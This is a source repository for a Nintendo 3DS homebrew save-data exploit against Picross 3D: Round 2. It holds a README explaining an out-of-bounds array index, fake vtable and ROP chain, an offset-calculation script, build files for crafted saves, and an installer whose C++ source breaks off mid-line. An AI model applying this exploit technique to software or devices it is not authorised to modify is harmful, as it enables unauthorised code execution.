├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── extras └── calcoverflow.py ├── installer_resources └── README.md ├── nitpic3d_installer ├── Makefile └── source │ └── main.cpp └── sploit ├── 3ds_ropkit ├── miniapp.s ├── payload.s ├── ropkit_boototherapp.s └── ropkit_ropinclude.s ├── Makefile ├── nitpic3d.ld ├── nitpic3d.s └── ropconstants.h /.gitignore: -------------------------------------------------------------------------------- 1 | **/build/ 2 | **/*.bin 3 | **/*.elf 4 | **/*.3dsx 5 | **/*.smdh 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | 26 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all 2 | 3 | all: eur usa jpn installer 4 | eur: eur_de eur_en eur_es eur_fr eur_it 5 | usa: usa_en usa_es usa_fr 6 | jpn: jpn_ja 7 | 8 | clean: 9 | $(MAKE) -C sploit clean 10 | $(MAKE) -C nitpic3d_installer clean 11 | rm -rf build 12 | 13 | eur_de: build/nitpic3d_installer/eur/de/SAVEDATA 14 | eur_en: build/nitpic3d_installer/eur/en/SAVEDATA 15 | eur_es: build/nitpic3d_installer/eur/es/SAVEDATA 16 | eur_fr: build/nitpic3d_installer/eur/fr/SAVEDATA 17 | eur_it: build/nitpic3d_installer/eur/it/SAVEDATA 18 | 19 | usa_en: build/nitpic3d_installer/usa/en/SAVEDATA 20 | usa_es: build/nitpic3d_installer/usa/es/SAVEDATA 21 | usa_fr: build/nitpic3d_installer/usa/fr/SAVEDATA 22 | 23 | jpn_ja: build/nitpic3d_installer/jpn/ja/SAVEDATA 24 | 25 | build/nitpic3d_installer/%/SAVEDATA: sploit/build/%/SAVEDATA 26 | mkdir -p $(dir $@) 27 | cp $< $@ 28 | 29 | sploit/build/eur/de/SAVEDATA: FLAGS := eur_de 30 | sploit/build/eur/en/SAVEDATA: FLAGS := eur_en 31 | sploit/build/eur/es/SAVEDATA: FLAGS := eur_es 32 | sploit/build/eur/fr/SAVEDATA: FLAGS := eur_fr 33 | sploit/build/eur/it/SAVEDATA: FLAGS := eur_it 34 | 35 | sploit/build/usa/en/SAVEDATA: FLAGS := usa_en 36 | sploit/build/usa/es/SAVEDATA: FLAGS := usa_es 37 | sploit/build/usa/fr/SAVEDATA: FLAGS := usa_fr 38 | 39 | sploit/build/jpn/ja/SAVEDATA: FLAGS := jpn_ja 40 | 41 | 42 | sploit/build/%/SAVEDATA: 43 | $(MAKE) -C sploit $(FLAGS) 44 | 45 | installer: installer_resources build/nitpic3d_installer/nitpic3d_installer.3dsx build/nitpic3d_installer/nitpic3d_installer.smdh 46 | 47 | build/nitpic3d_installer/nitpic3d_installer.%: nitpic3d_installer/nitpic3d_installer.% 48 | mkdir -p $(dir $@) 49 | cp $< $@ 50 | 51 | nitpic3d_installer/nitpic3d_installer.%: 52 | $(MAKE) -C nitpic3d_installer 53 | 54 | installer_resources: build/nitpic3d_installer 55 | cp installer_resources/* build/nitpic3d_installer 56 | 57 | build/nitpic3d_installer: 58 | mkdir -p $@ 59 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # nitpic3d 2 | 3 | nitpic3d, a secondary 3DS userland exploit for `Picross 3D: Round 2` (Europe and USA) and `カタチ新発見! 立体ピクロス2` (Japan). 4 | 5 | ## Exploit explanation 6 | 7 | Summary: 8 | > Out of bounds array access allowing to point to fabricated objects and vtable. 9 | 10 | Description: 11 | > Game only checks save header. With the last interacted save slot index at +0xb270 in the save data unchecked we can achieve a predictable out of bounds access, as well inserting ROP data without detecting save corruption. Game references an object from an array of 3 elements and passes it to a function that will read object pointers and hit a vtable call. With a copy save data left in memory and a properly calculated index, we can point to a fake object position in the save, vtable jump to a stack pivot and start the ROP chain. 12 | 13 | ## Building 14 | 15 | Run `make` on an unix compatible terminal. Windows CMD is not usable. 16 | 17 | * Need devkitPro's toolchain and environment values setup for 3ds building 18 | 19 | ## Installing 20 | 21 | * Place the `nitpic3d_installer` itself from releases or your built output in `build/` and place it in the 3ds's SD card in `/3ds/`. 22 | * After copying folder, place the desired `otherapp.bin` in the desired region folder inside `/3ds/nitpic3d_installer/`. 23 | * `otherapp.bin` can be obtained [here](https://smealum.github.io/3ds/), except for European consoles running version 11.10 or above, for that go [here](https://deadphoenix8091.github.io/3ds/#otherapp) instead. Select the desired system version exploit will be running on and download with `Download otherapp`. 24 | * Note: Do not put it on any of the language folder! Just on the region folder. 25 | * Run it from another another homebrew entrypoint, or another homebrewed console if planing to install to cart version. 26 | * Instructions on provided `README.md` inside `nitpic3d_installer`, plus simple control on screen when installer is running. 27 | 28 | ## Running the exploit 29 | 30 | Just open the game, tap to enter the saves screen. 31 | 32 | If you get the message `Welcome to the Picross 3D Café!` (English), `Willkommen im Picross 3D-Café!` (German), `¡Te doy la bienvenida a la cafetería de Picross 3D!` (Spanish), `Bienvenue au Café Picross 3D!` (French), `Ti do il benvenuto al Caffè Picross 3D!` (Italian) or `いらっしゃいませ。 立体ピクロス カフェへようこそ。` (Japanese) and with no save slots used, just tap again. If doesn't run, double check if you installed exploit properly. 33 | 34 | Extra note: Once installed to a specific language, exploit will only run successfully if game runs on that language. 35 | 36 | ## Credits and special thanks 37 | 38 | * Kartik for finding that the game is crashable with random data, letting me investigate and helping me search initial pivot points. Also testing completed exploit save in EUR New3DS. (And enduring my excitement at given moments during exploitation.) 39 | * yellows8 for the the very handy [3ds_ropkit](https://github.com/yellows8/3ds_ropkit) 40 | * Zoogie for helping with the 3ds_ropkit and finding stack pivot, as well helping me test out initial testing phase SAVEDATAs 41 | * knight-ryu12 for testing completed exploit SAVE on JPN New3DS 42 | * ihaveahax for testing on USA New3DS and Old3DS 43 | * LunaDook for testing on JPN Old3DS and USA New3DS too 44 | * Everyone I've may forgotten to mention that assisted and/or supported me 45 | * If I forgot someone, or some detail, tell me 46 | -------------------------------------------------------------------------------- /extras/calcoverflow.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # This script was made to assist me get the overflow value I wanted 4 | # Partially glued on together 5 | # And not intended to be the most optimal 6 | # I'll release it out just to show what values I are part of it 7 | 8 | eur_language = ['DE', 'EN', 'ES', 'FR', 'IT'] 9 | usa_language = ['EN', 'ES', 'FR'] 10 | 11 | objectbases = [{'DE': 0x0889b384, 'EN': 0x0889aaf4, 'ES': 0x0889aae4, 'FR': 0x0889bb34, 'IT': 0x0889b014}, {'EN': 0x088997a4, 'ES': 0x088997b4, 'FR': 0x0889a2c4}, 0x08883620] 12 | saveoffsets = [{'DE': 0x08883828, 'EN': 0x08882f98, 'ES': 0x08882f88, 'FR': 0x08883fd8, 'IT': 0x088834b8}, {'EN': 0x08881c48, 'ES': 0x08881c58, 'FR': 0x08882768}, 0x0886ab78] 13 | 14 | def pick_language(languages, objectbases, saveoffsets): 15 | global objectbase 16 | global saveoffset 17 | while True: 18 | try: 19 | lang = input(f"Language ({'/'.join(languages)})? ") 20 | lang = lang.upper() 21 | objectbase = objectbases.get(lang, None) 22 | saveoffset = saveoffsets.get(lang, None) 23 | if not objectbase or not saveoffset: 24 | print("Bad language, retry.") 25 | continue 26 | break 27 | except KeyboardInterrupt: 28 | exit(0) 29 | except: 30 | print("Invalid value.") 31 | continue 32 | 33 | while True: 34 | try: 35 | region = input("Region (EUR/USA/JPN)? ") 36 | region = region.lower() 37 | if region == 'eur': 38 | pick_language(eur_language, objectbases[0], saveoffsets[0]) 39 | elif region == 'usa': 40 | pick_language(usa_language, objectbases[1], saveoffsets[1]) 41 | elif region == 'jpn': 42 | objectbase = objectbases[2] 43 | saveoffset = saveoffsets[2] 44 | else: 45 | print("Bad region, retry.") 46 | continue 47 | break 48 | except KeyboardInterrupt: 49 | exit(0) 50 | except: 51 | print("Invalid value.") 52 | continue 53 | 54 | while True: 55 | try: 56 | var = input("Input position of arbitrary pointer in save: ") # or as I called it, Object0 57 | if var[0] == '-': 58 | print("Expecting positive position.") 59 | if var[0] == '+': 60 | var = var[1:] 61 | int(var[0]) # a way to check if an int at start 62 | if var[0:2] == "0x": 63 | var = int(var[2:], 16) 64 | elif var[0:2] == "0o": 65 | var = int(var[2:], 8) 66 | elif var[0:2] == "0b": 67 | var = int(var[2:], 2) 68 | else: 69 | var = int(var) 70 | 71 | if var >= 0 and var < 0x18: 72 | print("Can't have pointer placed at header.") 73 | continue 74 | if var >= 0xb270 and var < 0xb274: 75 | print("Can't have pointer placed at save slot index.") 76 | continue 77 | if var % 4: 78 | print("Align the pointer by 4.") 79 | continue 80 | break 81 | except KeyboardInterrupt: 82 | exit(0) 83 | except: 84 | print("Invalid position value.") 85 | continue 86 | 87 | found = False 88 | 89 | var = saveoffset + var - 0x24 - 652 - objectbase 90 | if var < 0: 91 | var = 0x100000000 + var 92 | 93 | for i in range(0, 200 * 0x100000000, 0x100000000): 94 | testvar = i | var 95 | if testvar > (200*0xFFFFFFFF): # limit 96 | break 97 | if (testvar % 200) == 0: 98 | foundvalue = testvar // 200 99 | foundle = foundvalue.to_bytes(4, 'little') 100 | found = True 101 | break 102 | 103 | if not found: 104 | print("No multiplier of 200 found to target this position.") 105 | else: 106 | print(f"Found value: 0x{foundvalue:08X} ({foundle[0]:02X} {foundle[1]:02X} {foundle[2]:02X} {foundle[3]:02X})") 107 | 108 | -------------------------------------------------------------------------------- /installer_resources/README.md: -------------------------------------------------------------------------------- 1 | # nitpic3d Installer 2 | 3 | The installer will load a nitpic3d save and otherapp and install them to `Picross3D: Round 2` in digital or card. 4 | 5 | It can install for the three regions of the game: `eur`, `usa` and `jpn` 6 | 7 | ## SD card placement 8 | 9 | The installer's folder itself, containing the `3dsx`, `smdh` and the region folders, should be copied to the `sdmc:/3ds/` instead of the individual contents. 10 | 11 | For each region folder there should be language folders, each containing a `SAVEDATA` targetting that region and language. The desired `otherapp.bin` should be placed inside the region folder, not inside any of the language ones. 12 | 13 | If any `SAVEDATA` is missing or invalid for a language or region, installation for that language is disabled for that region. If all languages are disabled, installation to that region is disabled. 14 | 15 | If `otherapp.bin` is missing for a region, installation is disabled for that region. It may also disable its usage if it's too big to fit into the `SAVEDATA` file. 16 | 17 | ## Controls 18 | 19 | - Press X to install to the cart version of the game. 20 | - Press Y to install to the selected digital version of the game. 21 | - Press either X or Y while holding L to format the save archive before installing save. 22 | - Left and right on DPad to choose between regions 23 | - UP and down on DPad to choose between languages 24 | 25 | ## Installation notes 26 | 27 | Once installed for one language, the game must run always in that language. If you which to use another language, reinstall. 28 | -------------------------------------------------------------------------------- /nitpic3d_installer/Makefile: -------------------------------------------------------------------------------- 1 | #--------------------------------------------------------------------------------- 2 | .SUFFIXES: 3 | #--------------------------------------------------------------------------------- 4 | 5 | ifeq ($(strip $(DEVKITARM)),) 6 | $(error "Please set DEVKITARM in your environment. export DEVKITARM=devkitARM") 7 | endif 8 | 9 | TOPDIR ?= $(CURDIR) 10 | include $(DEVKITARM)/3ds_rules 11 | 12 | #--------------------------------------------------------------------------------- 13 | # TARGET is the name of the output 14 | # BUILD is the directory where object files & intermediate files will be placed 15 | # SOURCES is a list of directories containing source code 16 | # DATA is a list of directories containing data files 17 | # INCLUDES is a list of directories containing header files 18 | # GRAPHICS is a list of directories containing graphics files 19 | # GFXBUILD is the directory where converted graphics files will be placed 20 | # If set to $(BUILD), it will statically link in the converted 21 | # files as if they were data files. 22 | # 23 | # NO_SMDH: if set to anything, no SMDH file is generated. 24 | # ROMFS is the directory which contains the RomFS, relative to the Makefile (Optional) 25 | # APP_TITLE is the name of the app stored in the SMDH file (Optional) 26 | # APP_DESCRIPTION is the description of the app stored in the SMDH file (Optional) 27 | # APP_AUTHOR is the author of the app stored in the SMDH file (Optional) 28 | # ICON is the filename of the icon (.png), relative to the project folder. 29 | # If not set, it attempts to use one of the following (in this order): 30 | # - .png 31 | # - icon.png 32 | # - /default_icon.png 33 | #--------------------------------------------------------------------------------- 34 | TARGET := $(notdir $(CURDIR)) 35 | BUILD := build 36 | SOURCES := source 37 | DATA := data 38 | INCLUDES := include 39 | GRAPHICS := gfx 40 | GFXBUILD := $(BUILD) 41 | #ROMFS := romfs 42 | #GFXBUILD := $(ROMFS)/gfx 43 | APP_TITLE := nitpic3d Installer 44 | APP_DESCRIPTION := Install nitpid3d exploit to \"Picross 3D: Round 2\" 45 | 46 | #--------------------------------------------------------------------------------- 47 | # options for code generation 48 | #--------------------------------------------------------------------------------- 49 | ARCH := -march=armv6k -mtune=mpcore -mfloat-abi=hard -mtp=soft 50 | 51 | CFLAGS := -g -Wall -O2 -mword-relocations \ 52 | -fomit-frame-pointer -ffunction-sections \ 53 | $(ARCH) 54 | 55 | CFLAGS += $(INCLUDE) -DARM11 -D_3DS 56 | 57 | CXXFLAGS := $(CFLAGS) -fno-rtti -fno-exceptions -std=gnu++11 58 | 59 | ASFLAGS := -g $(ARCH) 60 | LDFLAGS = -specs=3dsx.specs -g $(ARCH) -Wl,-Map,$(notdir $*.map) 61 | 62 | LIBS := -lctru -lm 63 | 64 | #--------------------------------------------------------------------------------- 65 | # list of directories containing libraries, this must be the top level containing 66 | # include and lib 67 | #--------------------------------------------------------------------------------- 68 | LIBDIRS := $(CTRULIB) 69 | 70 | 71 | #--------------------------------------------------------------------------------- 72 | # no real need to edit anything past this point unless you need to add additional 73 | # rules for different file extensions 74 | #--------------------------------------------------------------------------------- 75 | ifneq ($(BUILD),$(notdir $(CURDIR))) 76 | #--------------------------------------------------------------------------------- 77 | 78 | export OUTPUT := $(CURDIR)/$(TARGET) 79 | export TOPDIR := $(CURDIR) 80 | 81 | export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ 82 | $(foreach dir,$(GRAPHICS),$(CURDIR)/$(dir)) \ 83 | $(foreach dir,$(DATA),$(CURDIR)/$(dir)) 84 | 85 | export DEPSDIR := $(CURDIR)/$(BUILD) 86 | 87 | CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) 88 | CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) 89 | SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) 90 | PICAFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.v.pica))) 91 | SHLISTFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.shlist))) 92 | GFXFILES := $(foreach dir,$(GRAPHICS),$(notdir $(wildcard $(dir)/*.t3s))) 93 | BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) 94 | 95 | #--------------------------------------------------------------------------------- 96 | # use CXX for linking C++ projects, CC for standard C 97 | #--------------------------------------------------------------------------------- 98 | ifeq ($(strip $(CPPFILES)),) 99 | #--------------------------------------------------------------------------------- 100 | export LD := $(CC) 101 | #--------------------------------------------------------------------------------- 102 | else 103 | #--------------------------------------------------------------------------------- 104 | export LD := $(CXX) 105 | #--------------------------------------------------------------------------------- 106 | endif 107 | #--------------------------------------------------------------------------------- 108 | 109 | #--------------------------------------------------------------------------------- 110 | ifeq ($(GFXBUILD),$(BUILD)) 111 | #--------------------------------------------------------------------------------- 112 | export T3XFILES := $(GFXFILES:.t3s=.t3x) 113 | #--------------------------------------------------------------------------------- 114 | else 115 | #--------------------------------------------------------------------------------- 116 | export ROMFS_T3XFILES := $(patsubst %.t3s, $(GFXBUILD)/%.t3x, $(GFXFILES)) 117 | export T3XHFILES := $(patsubst %.t3s, $(BUILD)/%.h, $(GFXFILES)) 118 | #--------------------------------------------------------------------------------- 119 | endif 120 | #--------------------------------------------------------------------------------- 121 | 122 | export OFILES_SOURCES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) 123 | 124 | export OFILES_BIN := $(addsuffix .o,$(BINFILES)) \ 125 | $(PICAFILES:.v.pica=.shbin.o) $(SHLISTFILES:.shlist=.shbin.o) \ 126 | $(addsuffix .o,$(T3XFILES)) 127 | 128 | export OFILES := $(OFILES_BIN) $(OFILES_SOURCES) 129 | 130 | export HFILES := $(PICAFILES:.v.pica=_shbin.h) $(SHLISTFILES:.shlist=_shbin.h) \ 131 | $(addsuffix .h,$(subst .,_,$(BINFILES))) \ 132 | $(GFXFILES:.t3s=.h) 133 | 134 | export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ 135 | $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ 136 | -I$(CURDIR)/$(BUILD) 137 | 138 | export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) 139 | 140 | export _3DSXDEPS := $(if $(NO_SMDH),,$(OUTPUT).smdh) 141 | 142 | ifeq ($(strip $(ICON)),) 143 | icons := $(wildcard *.png) 144 | ifneq (,$(findstring $(TARGET).png,$(icons))) 145 | export APP_ICON := $(TOPDIR)/$(TARGET).png 146 | else 147 | ifneq (,$(findstring icon.png,$(icons))) 148 | export APP_ICON := $(TOPDIR)/icon.png 149 | endif 150 | endif 151 | else 152 | export APP_ICON := $(TOPDIR)/$(ICON) 153 | endif 154 | 155 | ifeq ($(strip $(NO_SMDH)),) 156 | export _3DSXFLAGS += --smdh=$(CURDIR)/$(TARGET).smdh 157 | endif 158 | 159 | ifneq ($(ROMFS),) 160 | export _3DSXFLAGS += --romfs=$(CURDIR)/$(ROMFS) 161 | endif 162 | 163 | .PHONY: all clean 164 | 165 | #--------------------------------------------------------------------------------- 166 | all: $(BUILD) $(GFXBUILD) $(DEPSDIR) $(ROMFS_T3XFILES) $(T3XHFILES) 167 | @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile 168 | 169 | $(BUILD): 170 | @mkdir -p $@ 171 | 172 | ifneq ($(GFXBUILD),$(BUILD)) 173 | $(GFXBUILD): 174 | @mkdir -p $@ 175 | endif 176 | 177 | ifneq ($(DEPSDIR),$(BUILD)) 178 | $(DEPSDIR): 179 | @mkdir -p $@ 180 | endif 181 | 182 | #--------------------------------------------------------------------------------- 183 | clean: 184 | @echo clean ... 185 | @rm -fr $(BUILD) $(TARGET).3dsx $(OUTPUT).smdh $(TARGET).elf $(GFXBUILD) 186 | 187 | #--------------------------------------------------------------------------------- 188 | $(GFXBUILD)/%.t3x $(BUILD)/%.h : %.t3s 189 | #--------------------------------------------------------------------------------- 190 | @echo $(notdir $<) 191 | @tex3ds -i $< -H $(BUILD)/$*.h -d $(DEPSDIR)/$*.d -o $(GFXBUILD)/$*.t3x 192 | 193 | #--------------------------------------------------------------------------------- 194 | else 195 | 196 | #--------------------------------------------------------------------------------- 197 | # main targets 198 | #--------------------------------------------------------------------------------- 199 | $(OUTPUT).3dsx : $(OUTPUT).elf $(_3DSXDEPS) 200 | 201 | $(OFILES_SOURCES) : $(HFILES) 202 | 203 | $(OUTPUT).elf : $(OFILES) 204 | 205 | #--------------------------------------------------------------------------------- 206 | # you need a rule like this for each extension you use as binary data 207 | #--------------------------------------------------------------------------------- 208 | %.bin.o %_bin.h : %.bin 209 | #--------------------------------------------------------------------------------- 210 | @echo $(notdir $<) 211 | @$(bin2o) 212 | 213 | #--------------------------------------------------------------------------------- 214 | .PRECIOUS : %.t3x 215 | #--------------------------------------------------------------------------------- 216 | %.t3x.o %_t3x.h : %.t3x 217 | #--------------------------------------------------------------------------------- 218 | @echo $(notdir $<) 219 | @$(bin2o) 220 | 221 | #--------------------------------------------------------------------------------- 222 | # rules for assembling GPU shaders 223 | #--------------------------------------------------------------------------------- 224 | define shader-as 225 | $(eval CURBIN := $*.shbin) 226 | $(eval DEPSFILE := $(DEPSDIR)/$*.shbin.d) 227 | echo "$(CURBIN).o: $< $1" > $(DEPSFILE) 228 | echo "extern const u8" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(CURBIN) | tr . _)`.h 229 | echo "extern const u8" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(CURBIN) | tr . _)`.h 230 | echo "extern const u32" `(echo $(CURBIN) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(CURBIN) | tr . _)`.h 231 | picasso -o $(CURBIN) $1 232 | bin2s $(CURBIN) | $(AS) -o $*.shbin.o 233 | endef 234 | 235 | %.shbin.o %_shbin.h : %.v.pica %.g.pica 236 | @echo $(notdir $^) 237 | @$(call shader-as,$^) 238 | 239 | %.shbin.o %_shbin.h : %.v.pica 240 | @echo $(notdir $<) 241 | @$(call shader-as,$<) 242 | 243 | %.shbin.o %_shbin.h : %.shlist 244 | @echo $(notdir $<) 245 | @$(call shader-as,$(foreach file,$(shell cat $<),$(dir $<)$(file))) 246 | 247 | #--------------------------------------------------------------------------------- 248 | %.t3x %.h : %.t3s 249 | #--------------------------------------------------------------------------------- 250 | @echo $(notdir $<) 251 | @tex3ds -i $< -H $*.h -d $*.d -o $*.t3x 252 | 253 | -include $(DEPSDIR)/*.d 254 | 255 | #--------------------------------------------------------------------------------------- 256 | endif 257 | #--------------------------------------------------------------------------------------- 258 | -------------------------------------------------------------------------------- /nitpic3d_installer/source/main.cpp: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define C_DEBUG CONSOLE_YELLOW 10 | #define C_DEFAULT CONSOLE_WHITE 11 | #define C_TITLE CONSOLE_CYAN 12 | #define C_GOOD CONSOLE_GREEN 13 | #define C_BAD CONSOLE_RED 14 | 15 | #if DEBUG 16 | #define debugmsgprint(...) printf(__VA_ARGS__) 17 | #else 18 | #define debugmsgprint(...) (void)0 19 | #endif 20 | 21 | static const FS_Path sdmcPath = {PATH_EMPTY, 1, ""}; 22 | 23 | typedef struct { 24 | u32 magicvar; 25 | u32 magicsize; 26 | char sploitmagic[8]; 27 | u32 otherapp_file_offset; 28 | u32 otherapp_limit_size; 29 | } __attribute__((packed)) SploitSaveHeader; 30 | 31 | class RegionSaveStatus { 32 | protected: 33 | static char BasePath[256]; 34 | bool GotOtherapp; 35 | bool GotSave; // got at least in one language 36 | RegionSaveStatus() : GotOtherapp(false), GotSave(false) {} 37 | static bool CheckSAVE(const char* regionname, const char* language, const char* sploitheader, size_t otherapp_size); 38 | static bool CheckOtherapp(const char* regionname, size_t& otherapp_size); 39 | static u8* LoadPreparedSave(const char* regionname, const char* language); 40 | public: 41 | bool IsAvailable() const {return GotOtherapp && GotSave;} 42 | virtual bool IsLanguageAvailable(int index) const = 0; 43 | virtual int GetLanguageCount() const = 0; 44 | virtual int GetAvailableLanguageCount() const = 0; 45 | virtual const char* GetLanguageStr(int index) const = 0; 46 | virtual const char* GetRegionStr() const = 0; 47 | virtual u64 GetTitleId() const = 0; 48 | virtual u8* LoadPreparedSave(int langindex) const = 0; 49 | 50 | static bool SetCWDBase(); 51 | }; 52 | char RegionSaveStatus::BasePath[256] = {0}; 53 | 54 | template 55 | class SaveStatusTemplate : public RegionSaveStatus { 56 | u32 LanguageAvailability; 57 | u32 LanguageAvailableCount; 58 | public: 59 | virtual bool IsLanguageAvailable(int index) const { 60 | if (index < 0 || index >= LanguageCount) return false; 61 | return (LanguageAvailability & BIT(index)) != 0; 62 | } 63 | virtual int GetLanguageCount() const {return LanguageCount;} 64 | virtual int GetAvailableLanguageCount() const {return LanguageAvailableCount;} 65 | virtual const char* GetLanguageStr(int index) const { 66 | if (index < 0 || index >= LanguageCount) return nullptr; 67 | return LanguageNames[index]; 68 | } 69 | virtual const char* GetRegionStr() const {return RegionName;} 70 | virtual u64 GetTitleId() const {return TitleId;} 71 | virtual u8* LoadPreparedSave(int langindex) const { 72 | if (langindex < 0 || langindex >= LanguageCount) return nullptr; 73 | return RegionSaveStatus::LoadPreparedSave(RegionName, LanguageShortNames[langindex]); 74 | } 75 | SaveStatusTemplate() : RegionSaveStatus(), LanguageAvailability(0), LanguageAvailableCount(0) { 76 | size_t otherapp_size; 77 | GotOtherapp = CheckOtherapp(RegionName, otherapp_size); 78 | if (!GotOtherapp) return; 79 | for (int i = 0; i < LanguageCount; ++i) { 80 | if (CheckSAVE(RegionName, LanguageShortNames[i], SploitHeaders[i], otherapp_size)) { 81 | LanguageAvailability |= BIT(i); 82 | ++LanguageAvailableCount; 83 | } 84 | } 85 | GotSave = LanguageAvailability != 0; 86 | } 87 | }; 88 | 89 | const char EURRegionName[] = "eur"; 90 | const char* const EURSploitHeaders[5] = {"NP3DEDE", "NP3DEEN", "NP3DEES", "NP3DEFR", "NP3DEIT"}; 91 | const char* const EURLanguageShortNames[5] = {"de", "en", "es", "fr", "it"}; 92 | const char* const EURLanguageNames[5] = {"German", "English", "Spanish", "French", "Italian"}; 93 | const char USARegionName[] = "usa"; 94 | const char* const USASploitHeaders[3] = {"NP3DUEN", "NP3DUES", "NP3DUFR"}; 95 | const char* const USALanguageShortNames[3] = {"en", "es", "fr"}; 96 | const char* const USALanguageNames[3] = {"English", "Spanish", "French"}; 97 | const char JPNRegionName[] = "jpn"; 98 | const char* const JPNSploitHeaders[3] = {"NP3DJJA"}; 99 | const char* const JPNLanguageShortNames[3] = {"ja"}; 100 | const char* const JPNLanguageNames[3] = {"Japanese"}; 101 | 102 | typedef SaveStatusTemplate<0x0004000000187E00LLU, EURRegionName, EURSploitHeaders, EURLanguageShortNames, EURLanguageNames, 5> EURSaveStatus; 103 | typedef SaveStatusTemplate<0x0004000000187D00LLU, USARegionName, USASploitHeaders, USALanguageShortNames, USALanguageNames, 3> USASaveStatus; 104 | typedef SaveStatusTemplate<0x0004000000169A00LLU, JPNRegionName, JPNSploitHeaders, JPNLanguageShortNames, JPNLanguageNames, 1> JPNSaveStatus; 105 | 106 | bool RegionSaveStatus::CheckSAVE(const char* regionname, const char* language, const char* sploitheader, size_t otherapp_size) { 107 | Handle filehandle; 108 | 109 | std::unique_ptr path(new(std::nothrow) char[256]); 110 | if (!path) { 111 | return false; 112 | } 113 | 114 | auto path_len = snprintf(path.get(), 256, "%s/%s/%s/SAVEDATA", BasePath, regionname, language); 115 | if (path_len < 0 || path_len >= 256) { 116 | return false; 117 | } 118 | 119 | debugmsgprint(C_DEBUG "%s\n", path.get()); 120 | 121 | FS_Path filePath = {PATH_ASCII, (u32)path_len+1, path.get()}; 122 | Result res = FSUSER_OpenFileDirectly(&filehandle, ARCHIVE_SDMC, sdmcPath, filePath, FS_OPEN_READ, 0); 123 | if (R_FAILED(res)) { 124 | debugmsgprint(C_DEBUG "[DEBUG] Open file directly %08lX\n", res); 125 | return false; 126 | } 127 | 128 | u64 filesize; 129 | res = FSFILE_GetSize(filehandle, &filesize); 130 | 131 | if (R_FAILED(res) || filesize != 0xb278) { 132 | if(R_FAILED(res)) debugmsgprint(C_DEBUG "[DEBUG] Get Size %08lX\n", res); 133 | else debugmsgprint(C_DEBUG "[DEBUG] File size %llu\n", filesize); 134 | res = FSFILE_Close(filehandle); 135 | if (R_FAILED(res)) svcCloseHandle(filehandle); 136 | return false; 137 | } 138 | 139 | SploitSaveHeader header_data; 140 | 141 | u32 totalread; 142 | res = FSFILE_Read(filehandle, &totalread, 0LLU, &header_data, sizeof(header_data)); 143 | 144 | if (R_FAILED(res) || totalread != sizeof(header_data)) { 145 | if(R_FAILED(res)) debugmsgprint(C_DEBUG "[DEBUG] File Read %08lX\n", res); 146 | else debugmsgprint(C_DEBUG "[DEBUG] Total read %lu\n", totalread); 147 | res = FSFILE_Close(filehandle); 148 | if (R_FAILED(res)) svcCloseHandle(filehandle); 149 | return false; 150 | } 151 | 152 | res = FSFILE_Close(filehandle); 153 | if (R_FAILED(res)) { 154 | debugmsgprint(C_DEBUG "[DEBUG] File close %08lX\n", res); 155 | svcCloseHandle(filehandle); 156 | } 157 | 158 | // this does not guarantee finding all foul data, we dont know ROP boundaries 159 | if (header_data.magicvar != 0x1000d00 || header_data.magicsize != 0xb278 || 160 | strcmp(header_data.sploitmagic, sploitheader) || 161 | header_data.otherapp_file_offset < sizeof(header_data) || header_data.otherapp_file_offset >= 0xb270 || 162 | header_data.otherapp_file_offset + header_data.otherapp_limit_size > 0xb270) { 163 | debugmsgprint(C_DEBUG "[DEBUG] Bad header\n"); 164 | return false; 165 | } 166 | 167 | if (header_data.otherapp_limit_size < otherapp_size) { 168 | debugmsgprint(C_DEBUG "[DEBUG] Otherapp too big\n"); 169 | return false; 170 | } 171 | 172 | return true; 173 | } 174 | 175 | bool RegionSaveStatus::CheckOtherapp(const char* regionname, size_t& otherapp_size) { 176 | Handle filehandle; 177 | 178 | std::unique_ptr path(new(std::nothrow) 